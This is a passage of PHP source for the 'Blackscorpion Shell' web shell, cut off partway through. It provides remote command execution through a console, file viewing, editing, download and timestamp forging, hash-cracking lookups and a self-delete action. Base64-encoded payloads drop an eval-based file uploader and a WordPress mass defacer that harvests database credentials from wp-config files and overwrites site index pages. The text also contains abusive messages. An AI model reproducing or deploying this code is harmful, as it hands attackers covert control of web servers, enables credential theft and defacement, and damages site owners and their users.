  2302. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  2303. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  2304. BlackscorpionHeader();
  2305. echo '<center><h1>String conversions</h1></center><div class=content>';
  2306. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  2307. foreach($stringTools as $k => $v)
  2308. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  2309. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  2310. if(!empty($_POST['p1'])) {
  2311. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  2312. }
  2313. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  2314. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  2315. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  2316. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  2317. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  2318. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  2319. </table></form>";
  2320. function BlackscorpionRecursiveGlob($path) {
  2321. if(substr($path, -1) != '/')
  2322. $path.='/';
  2323. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  2324. if(is_array($paths)&&@count($paths)) {
  2325. foreach($paths as $item) {
  2326. if(@is_dir($item)){
  2327. if($path!=$item)
  2328. BlackscorpionRecursiveGlob($item);
  2329. } else {
  2330. if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  2331. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  2332. }
  2333. }
  2334. }
  2335. }
  2336. if(@$_POST['p3'])
  2337. BlackscorpionRecursiveGlob($_POST['c']);
  2338. echo "</div><br><h1>Search for hash:</h1><div class=content>
  2339. <form method='post' target='_blank' name='hf'>
  2340. <input type='text' name='hash' style='width:200px;'><br>
  2341. <input type='hidden' name='act' value='find'/>
  2342. <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  2343. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  2344. <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  2345. </form></div>";
  2346. BlackscorpionFooter();
  2347. }
  2348. function actionFilesTools() {
  2349. if( isset($_POST['p1']) )
  2350. $_POST['p1'] = urldecode($_POST['p1']);
  2351. if(@$_POST['p2']=='download') {
  2352. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  2353. ob_start("ob_gzhandler", 4096);
  2354. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  2355. if (function_exists("mime_content_type")) {
  2356. $type = @mime_content_type($_POST['p1']);
  2357. header("Content-Type: " . $type);
  2358. } else
  2359. header("Content-Type: application/octet-stream");
  2360. $fp = @fopen($_POST['p1'], "r");
  2361. if($fp) {
  2362. while(!@feof($fp))
  2363. echo @fread($fp, 1024);
  2364. fclose($fp);
  2365. }
  2366. }exit;
  2367. }
  2368. if( @$_POST['p2'] == 'mkfile' ) {
  2369. if(!file_exists($_POST['p1'])) {
  2370. $fp = @fopen($_POST['p1'], 'w');
  2371. if($fp) {
  2372. $_POST['p2'] = "edit";
  2373. fclose($fp);
  2374. }
  2375. }
  2376. }
  2377. BlackscorpionHeader();
  2378. echo '<h1>File tools</h1><div class=content>';
  2379. if( !file_exists(@$_POST['p1']) ) {
  2380. echo 'File not exists';
  2381. BlackscorpionFooter();
  2382. return;
  2383. }
  2384. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  2385. if(!$uid) {
  2386. $uid['name'] = @fileowner($_POST['p1']);
  2387. $gid['name'] = @filegroup($_POST['p1']);
  2388. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  2389. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?BlackscorpionViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.BlackscorpionColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  2390. echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  2391. if( empty($_POST['p2']) )
  2392. $_POST['p2'] = 'view';
  2393. if( is_file($_POST['p1']) )
  2394. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  2395. else
  2396. $m = array('Chmod', 'Rename', 'Touch');
  2397. foreach($m as $v)
  2398. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  2399. echo '<br><br>';
  2400. switch($_POST['p2']) {
  2401. case 'view':
  2402. echo '<pre class=ml1>';
  2403. $fp = @fopen($_POST['p1'], 'r');
  2404. if($fp) {
  2405. while( !@feof($fp) )
  2406. echo htmlspecialchars(@fread($fp, 1024));
  2407. @fclose($fp);
  2408. }
  2409. echo '</pre>';
  2410. break;
  2411. case 'highlight':
  2412. if( @is_readable($_POST['p1']) ) {
  2413. echo '<div class=ml1 style="background-color: green;color:black;">';
  2414. $code = @highlight_file($_POST['p1'],true);
  2415. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  2416. }
  2417. break;
  2418. case 'chmod':
  2419. if( !empty($_POST['p3']) ) {
  2420. $perms = 0;
  2421. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  2422. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  2423. if(!@chmod($_POST['p1'], $perms))
  2424. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  2425. }
  2426. clearstatcache();
  2427. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  2428. break;
  2429. case 'edit':
  2430. if( !is_writable($_POST['p1'])) {
  2431. echo 'File isn\'t writeable';
  2432. break;
  2433. }
  2434. if( !empty($_POST['p3']) ) {
  2435. $time = @filemtime($_POST['p1']);
  2436. $_POST['p3'] = substr($_POST['p3'],1);
  2437. $fp = @fopen($_POST['p1'],"w");
  2438. if($fp) {
  2439. @fwrite($fp,$_POST['p3']);
  2440. @fclose($fp);
  2441. echo 'Saved!<br><script>p3_="";</script>';
  2442. @touch($_POST['p1'],$time,$time);
  2443. }
  2444. }
  2445. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  2446. $fp = @fopen($_POST['p1'], 'r');
  2447. if($fp) {
  2448. while( !@feof($fp) )
  2449. echo htmlspecialchars(@fread($fp, 1024));
  2450. @fclose($fp);
  2451. }
  2452. echo '</textarea><input type=submit value=">>"></form>';
  2453. break;
  2454. case 'hexdump':
  2455. $c = @file_get_contents($_POST['p1']);
  2456. $n = 0;
  2457. $h = array('00000000<br>','','');
  2458. $len = strlen($c);
  2459. for ($i=0; $i<$len; ++$i) {
  2460. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  2461. switch ( ord($c[$i]) ) {
  2462. case 0: $h[2] .= ' '; break;
  2463. case 9: $h[2] .= ' '; break;
  2464. case 10: $h[2] .= ' '; break;
  2465. case 13: $h[2] .= ' '; break;
  2466. default: $h[2] .= $c[$i]; break;
  2467. }
  2468. $n++;
  2469. if ($n == 32) {
  2470. $n = 0;
  2471. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  2472. $h[1] .= '<br>';
  2473. $h[2] .= "\n";
  2474. }
  2475. }
  2476. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  2477. break;
  2478. case 'rename':
  2479. if( !empty($_POST['p3']) ) {
  2480. if(!@rename($_POST['p1'], $_POST['p3']))
  2481. echo 'Can\'t rename!<br>';
  2482. else
  2483. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  2484. }
  2485. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  2486. break;
  2487. case 'touch':
  2488. if( !empty($_POST['p3']) ) {
  2489. $time = strtotime($_POST['p3']);
  2490. if($time) {
  2491. if(!touch($_POST['p1'],$time,$time))
  2492. echo 'Fail!';
  2493. else
  2494. echo 'Touched!';
  2495. } else echo 'Bad time format!';
  2496. }
  2497. clearstatcache();
  2498. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  2499. break;
  2500. }
  2501. echo '</div>';
  2502. BlackscorpionFooter();
  2503. }
  2504. function actionConsole() {
  2505. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  2506. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  2507. $_POST['p1'] .= ' 2>&1';
  2508. } elseif(!empty($_POST['p1']))
  2509. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  2510. if(isset($_POST['ajax'])) {
  2511. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  2512. ob_start();
  2513. echo "d.cf.cmd.value='';\n";
  2514. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".BlackscorpionEx($_POST['p1']),"\n\r\t\\'\0"));
  2515. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  2516. if(@chdir($match[1])) {
  2517. $GLOBALS['cwd'] = @getcwd();
  2518. echo "c_='".$GLOBALS['cwd']."';";
  2519. }
  2520. }
  2521. echo "d.cf.output.value+='".$temp."';";
  2522. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  2523. $temp = ob_get_clean();
  2524. echo strlen($temp), "\n", $temp;
  2525. exit;
  2526. }
  2527. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  2528. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  2529. BlackscorpionHeader();
  2530. echo "<script>
  2531. if(window.Event) window.captureEvents(Event.KEYDOWN);
  2532. var cmds = new Array('');
  2533. var cur = 0;
  2534. function kp(e) {
  2535. var n = (window.Event) ? e.which : e.keyCode;
  2536. if(n == 38) {
  2537. cur--;
  2538. if(cur>=0)
  2539. document.cf.cmd.value = cmds[cur];
  2540. else
  2541. cur++;
  2542. } else if(n == 40) {
  2543. cur++;
  2544. if(cur < cmds.length)
  2545. document.cf.cmd.value = cmds[cur];
  2546. else
  2547. cur--;
  2548. }
  2549. }
  2550. function add(cmd) {
  2551. cmds.pop();
  2552. cmds.push(cmd);
  2553. cmds.push('');
  2554. cur = cmds.length-1;
  2555. }
  2556. </script>";
  2557. echo '<center><h1>Console</h1></center><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  2558. foreach($GLOBALS['aliases'] as $n => $v) {
  2559. if($v == '') {
  2560. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  2561. continue;
  2562. }
  2563. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  2564. }
  2565.  
  2566. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  2567. if(!empty($_POST['p1'])) {
  2568. echo htmlspecialchars("$ ".$_POST['p1']."\n".BlackscorpionEx($_POST['p1']));
  2569. }
  2570. echo '</textarea><table style="border:1px solid #df5;background-color:#666;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  2571. echo '</form></div><script>d.cf.cmd.focus();</script>';
  2572. BlackscorpionFooter();
  2573. }
  2574. function actionLogout() {
  2575. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  2576. die('<!DOCTYPE html>
  2577. <html>
  2578. <head>
  2579. <title>Blackscorpion Shell</title>
  2580. <meta charset="UTF-8">
  2581. <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
  2582. <meta name="description" content="Sites description">
  2583. <meta name="about" content="Made By Blackscorpion ">
  2584. <meta name="description" content="Bye Bye">
  2585. <style>
  2586. .body {
  2587. margin-top: 7vh;
  2588. text-transform: capitalize;
  2589. background: black url("");
  2590. background-repeat:no-repeat;
  2591. background-position: center;
  2592. background-attachment: fixed;
  2593. -webkit-background-size: cover;
  2594. -moz-background-size: cover;
  2595. -o-background-size: cover;
  2596. background-size: cover;
  2597. }
  2598. .font {
  2599. font-family: calibri;
  2600. font-size: 300%;
  2601. text-align: center;
  2602. color: white;
  2603. }
  2604. .spass {
  2605. margin-top: 70vh;
  2606. font-family: calibri;
  2607. font-size: 100%;
  2608. text-align: center;
  2609. color: black;
  2610. }
  2611. </style>
  2612. <script language="JavaScript1.2">
  2613. function ejs_nodroit(){
  2614. alert("Login Please!");
  2615. return(false);
  2616. }
  2617. document.oncontextmenu = ejs_nodroit;
  2618. </script>
  2619. </head>
  2620. <body class="body">
  2621. <div class="font">
  2622. <?php unset($_SESSION[md5($_SERVER["HTTP_HOST"])]); ?>
  2623. <font>You Are Going :(<br>Bye :(</font>
  2624. </div>
  2625. </body>
  2626. </html>');
  2627. }
  2628. function actionSelfRemove() {
  2629. if($_POST['p1'] == 'yes')
  2630. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  2631. die('<!DOCTYPE html>
  2632. <html>
  2633. <head>
  2634. <title>Blackscorpion Shell</title>
  2635. <meta charset="UTF-8">
  2636. <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
  2637. <meta name="description" content="Sites description">
  2638. <meta name="about" content="Made By Blackscorpion ">
  2639. <meta name="description" content="Bye Bye">
  2640. <style>
  2641. .body {
  2642. margin-top: 7vh;
  2643. text-transform: capitalize;
  2644. background: black url("");
  2645. background-repeat:no-repeat;
  2646. background-position: center;
  2647. background-attachment: fixed;
  2648. -webkit-background-size: cover;
  2649. -moz-background-size: cover;
  2650. -o-background-size: cover;
  2651. background-size: cover;
  2652. }
  2653. .font {
  2654. font-family: calibri;
  2655. font-size: 300%;
  2656. text-align: center;
  2657. color: white;
  2658. }
  2659. .spass {
  2660. margin-top: 70vh;
  2661. font-family: calibri;
  2662. font-size: 100%;
  2663. text-align: center;
  2664. color: black;
  2665. }
  2666. </style>
  2667. <script language="JavaScript1.2">
  2668. function ejs_nodroit(){
  2669. alert("Shell Site Again Bitch!");
  2670. return(false);
  2671. }
  2672. document.oncontextmenu = ejs_nodroit;
  2673. </script>
  2674. </head>
  2675. <body class="body">
  2676. <div class="font">
  2677. <font>You Deleted Me -_- <br>Now Fuck off -_- Dont Use me again. <br><img src="http://photos1.blogger.com/blogger/7386/358/400/realkid.jpg" width="300" height="200" /></font>
  2678. </div>
  2679. </body>
  2680. </html>');
  2681. else
  2682. echo 'unlink error!';
  2683. if($_POST['p1'] != 'yes')
  2684. BlackscorpionHeader();
  2685. echo '<center><h1>Suicide</h1><div class=content>Do You Want To Remove This Shell :o ?<br><a href=# onclick="g(null,null,\'yes\')">Fuck me</a></div>';
  2686. BlackscorpionFooter();
  2687. }
  2688. if(isset($_POST['uploader'])){
  2689. $uploader = 'PD9waHAKJFVwbG9hZGVyID0gIlpXTm9ieUFuUEdoMGJXdytQR2hsWVdRK1BIUnBkR3hsUGtacGJHVWdWWEJzYjJGa1pYSWdZbmtnUW14aFkydHpZMjl5Y0dsdmJqd3ZkR2wwYkdVK0NqeHNhVzVySUhKbGJEMGlhV052YmlJZ2RIbHdaVDBpYVcxaFoyVXZjRzVuSWlCb2NtVm1QU0pvZEhSd2N6b3ZMM05qYjI1MFpXNTBMbVpwYzJJMUxURXVabTVoTG1aaVkyUnVMbTVsZEM5MkwzUXhMakF0T1M4eU5qRTJOelE1T1Y4eU9ESTVNakkyTWpVMU5qUTBNREZmTlRjeU5qWXdOamsxTVRrMU1qWTRNREV6T0Y5dUxuQnVaejl2YUQwNE5tRTBZV1l5WW1FMU16QmtNamN4T0dObU1USXlNbUl6Tm1JNE56ZzNOeVp2WlQwMVFqUXhRVFZHUmlJK1BDOW9aV0ZrUGp4aWIyUjVQZ284YzNSNWJHVStDbUp2WkhsN0NtWnZiblF0Wm1GdGFXeDVPaUFpVW1GamFXNW5JRk5oYm5NZ1QyNWxJaXdnWTNWeWMybDJaVHNLWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSTJVMlpUWmxOanNLZEdWNGRDMXphR0ZrYjNjNk1IQjRJREJ3ZUNBeGNIZ2dJemMxTnpVM05Uc0tmUW9qWTI5dWRHVnVkQ0IwY2pwb2IzWmxjbnNLWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSXpZek5qSTJNenNLZEdWNGRDMXphR0ZrYjNjNk1IQjRJREJ3ZUNBeE1IQjRJQ05tWm1ZN0NuMEtJMk52Ym5SbGJuUWdMbVpwY25OMGV3cGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQnphV3gyWlhJN0NuMEtJMk52Ym5SbGJuUWdMbVpwY25OME9taHZkbVZ5ZXdwaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lCemFXeDJaWEk3Q25SbGVIUXRjMmhoWkc5M09qQndlQ0F3Y0hnZ01YQjRJQ00zTlRjMU56VTdDbjBLZEdGaWJHVjdDbUp2Y21SbGNqb2dNWEI0SUNNd01EQXdNREFnWkc5MGRHVmtPd3A5Q2tneGV3cG1iMjUwTFdaaGJXbHNlVG9nSWxKNVpTSXNJR04xY25OcGRtVTdDbjBLWVhzS1kyOXNiM0k2WW14MVpUc0tkR1Y0ZEMxa1pXTnZjbUYwYVc5dU9pQnViMjVsT3dwOUNtRTZhRzkyWlhKN0NtTnZiRzl5T2lBalkyUXdNR1ptT3dwMFpYaDBMWE5vWVdSdmR6b3djSGdnTUhCNElERXdjSGdnSTJabVptWm1aanNLZlFwcGJuQjFkQ3h6Wld4bFkzUXNkR1Y0ZEdGeVpXRjdDbUp2Y21SbGNqb2dNWEI0SUNNd01EQXdNREFnYzI5c2FXUTdDaTF0YjNvdFltOXlaR1Z5TFhKaFpHbDFjem9nTlhCNE93b3RkMlZpYTJsMExXSnZjbVJsY2kxeVlXUnBkWE02TlhCNE93cGliM0prWlhJdGNtRmthWFZ6T2pWd2VEc0tmUW84TDNOMGVXeGxQZ284TDBoRlFVUStDanhDVDBSWlBnbzhTREUrUEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2owaWNtVmtJajUrZm40OEwyWnZiblErUTI5a1pXUWdZbmtnUEdadmJuUWdZMjlzYjNJOUluSmxaQ0krUWp3dlptOXVkRDVzWVVOTFBHWnZiblFnWTI5c2IzSTlJbkpsWkNJK1UyTnZjand2Wm05dWRENUpiMjQ4Wm05dWRDQmpiMnh2Y2owaWNtVmtJajUrZm40OEwyWnZiblErQ2p4aWNqNDhabTl1ZENCamIyeHZjajBpWW14MVpTSStmbjUrVUdGcklEeG1iMjUwSUdOdmJHOXlQU0p5WldRaVBsUmxZVzA4TDJadmJuUStYMUJ5YjBKeWIzTitmbjQ4TDJadmJuUStDaUE4TDJObGJuUmxjajQ4TDBneFBnbzhZMlZ1ZEdWeVBnbzhabTl5YlNCdFpYUm9iMlE5VUU5VFZDQmxibU4wZVhCbFBTSnRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhJaUJoWTNScGIyNDlJaUkrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDEwWlhoMElHNWhiV1U5Y0dGMGFENEtDVHhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsY3lJK0NnazhhVzV3ZFhRZ2RIbHdaVDF6ZFdKdGFYUWdkbUZzZFdVOUlsVndiRzloWkNJK0Nqd3ZabTl5YlQ0OEwySnZaSGsrUEM5alpXNTBaWEkrUEM5b2RHMXNQaWM3Q2lSbWFXeGxjeUE5SUVBa1gwWkpURVZUV3lKbWFXeGxjeUpkT3dwcFppQW9KR1pwYkdWeld5SnVZVzFsSWwwZ0lUMGdKeWNwSUhzS0lDQWdJQ1JtZFd4c2NHRjBhQ0E5SUNSZlVrVlJWVVZUVkZzaWNHRjBhQ0pkSUM0Z0pHWnBiR1Z6V3lKdVlXMWxJbDA3Q2lBZ0lDQnBaaUFvYlc5MlpWOTFjR3h2WVdSbFpGOW1hV3hsS0NSbWFXeGxjMXNuZEcxd1gyNWhiV1VuWFN3Z0pHWjFiR3h3WVhSb0tTa2dld29nSUNBZ0lDQWdJR1ZqYUc4Z0lqeGpaVzUwWlhJK1BHZ3lQanhoSUdoeVpXWTlKeVJtZFd4c2NHRjBhQ2NnZEdGeVoyVjBQU2RmWW14aGJtc25Qa05zYVdOcklIUnZJR0ZqWTJWemN5QjFjR3h2WVdSbFpDQkdhV3hsUEM5aFBqd3ZhREkrUEM5alpXNTBaWEkrSWpzS0lDQWdJSDBLZlE9PSI7IGV2YWwoYmFzZTY0X2RlY29kZSgkVXBsb2FkZXIpKTsKPz4JCQkKCgoK';
  2690. $file = fopen("up.php","w");
  2691. $write = fwrite ($file ,base64_decode($uploader));
  2692. fclose($file);
  2693. header("location:up.php"); }
  2694.  
  2695. if(isset($_POST['mass'])){
  2696. $mass = 'PHRpdGxlPldvcmRwcmVzcyBNYXNzIERlZmFjZXIgQnkgQmxhY2sgU2NvcnBpb248L3RpdGxlPgo8c3R5bGU+CmJvZHkKewoJYmFja2dyb3VuZDogIzA4MDUxMDsKCWNvbG9yOiAjRkY5OTMzOwoJcGFkZGluZzogMHB4Owp9CmE6bGluaywgYm9keV9hbGluawp7Cgljb2xvcjogI0ZGOTkzMzsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQphOnZpc2l0ZWQsIGJvZHlfYXZpc2l0ZWQKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTpob3ZlciwgYTphY3RpdmUsIGJvZHlfYWhvdmVyCnsKCWNvbG9yOiAjRkZGRkZGOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CnRkLCB0aCwgcCwgbGksdGFibGUKewoJCgliYWNrZ3JvdW5kOiAjMmUyYjI4OwoJYm9yZGVyOjFweCBzb2xpZCAjNTI0ZjQ2Owp9CmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJCglvdmVyZmxvdzogaGlkZGVuOwoJYmFja2dyb3VuZDogIzJlMmIyODsKCWNvbG9yOiAjZmZmZmZmOwp9dGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgliYWNrZ3JvdW5kOiAjMmUyYjI4OwoJY29sb3I6ICNmZmZmZmY7Cn0KYnV0dG9uCnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJCglvdmVyZmxvdzogaGlkZGVuOwoJYmFja2dyb3VuZDogIzJlMmIyODsKCWNvbG9yOiAjZmZmZmZmOwp9Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGJnY29sb3I9ImJsYWNrIj4KIDxjZW50ZXI+CjxwcmU+Cl9fICAgICAgICAgIF9fICAgICAgX18gIF9fICAgICAgICAgICAgICAgICBfX19fXyAgICAgICAgX18gICAgICAgICAgICAgICAKXCBcICAgICAgICAvIC8gICAgIHwgIFwvICB8ICAgICAgICAgICAgICAgfCAgX18gXCAgICAgIC8gX3wgICAgICAgICAgICAgIAogXCBcICAvXCAgLyAvIF9fICAgfCBcICAvIHwgX18gXyBfX18gX19fICB8IHwgIHwgfCBfX198IHxfIF9fIF8gIF9fXyBfX18gCiAgXCBcLyAgXC8gLyAnXyBcICB8IHxcL3wgfC8gX2AgLyBfXy8gX198IHwgfCAgfCB8LyBfIFwgIF8vIF9gIHwvIF9fLyBfIFwKICAgXCAgL1wgIC98IHxfKSB8IHwgfCAgfCB8IChffCBcX18gXF9fIFwgfCB8X198IHwgIF9fLyB8fCAoX3wgfCAoX3wgIF9fLwogICAgXC8gIFwvIHwgLl9fLyAgfF98ICB8X3xcX18sX3xfX18vX19fLyB8X19fX18vIFxfX198X3wgXF9fLF98XF9fX1xfX198CiAgICAgICAgICAgfCB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICB8X3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L3ByZT4KPC9jZW50ZXI+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiID4KPGNlbnRlcj4KPHRhYmxlIGJvcmRlcj0nMSc+PHRyPjx0ZD5MaXN0IG9mIEFsbCBTeW1saW5rczwvdGQ+PHRkPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXJsIiBzaXplPSIxMDAiIHZhbHVlPSJibGFja2llLnR4dCI+PC90ZD48L3RyPgo8dHI+PHRkPkluZGV4PC90ZD48dGQ+Cjx0ZXh0YXJlYSBuYW1lPSJpbmRleCIgY29scz0nOTAnIHJvd3M9JzExJyA+SGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIHwgUHJvQnJvJ3MKPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4KPGJyPjxicj48aW5wdXQgdHlwZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSIxIj48L2Zvcm0+CjwvY2VudGVyPgo8P3BocApzZXRfdGltZV9saW1pdCgwKTsKaWYgKCRfUE9TVFsnYWN0aW9uJ10gPT0gJzEnKXsKJHVybD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsndXJsJ10pOwokdXNlcnM9QGZpbGUoJHVybCk7CmlmIChjb3VudCgkdXNlcnMpPDEpIGV4aXQoIjxoMT5ObyBjb25maWcgZm91bmQ8L2gxPiIpOwpmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsKJHVzZXIxPXRyaW0oJHVzZXIpOwokY29kZT1maWxlX2dldF9jb250ZW50czIoJHVzZXIxKTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX05BTUVcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIxKTsKJGRiPSRiMVsxXVswXTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX1VTRVJcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIyKTsKJHVzZXI9JGIyWzFdWzBdOwpwcmVnX21hdGNoX2FsbCgnfGRlZmluZS4qXCguKlwnREJfUEFTU1dPUkRcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIzKTsKJGRiX3Bhc3N3b3JkPSRiM1sxXVswXTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX0hPU1RcJy4qLC4qXCco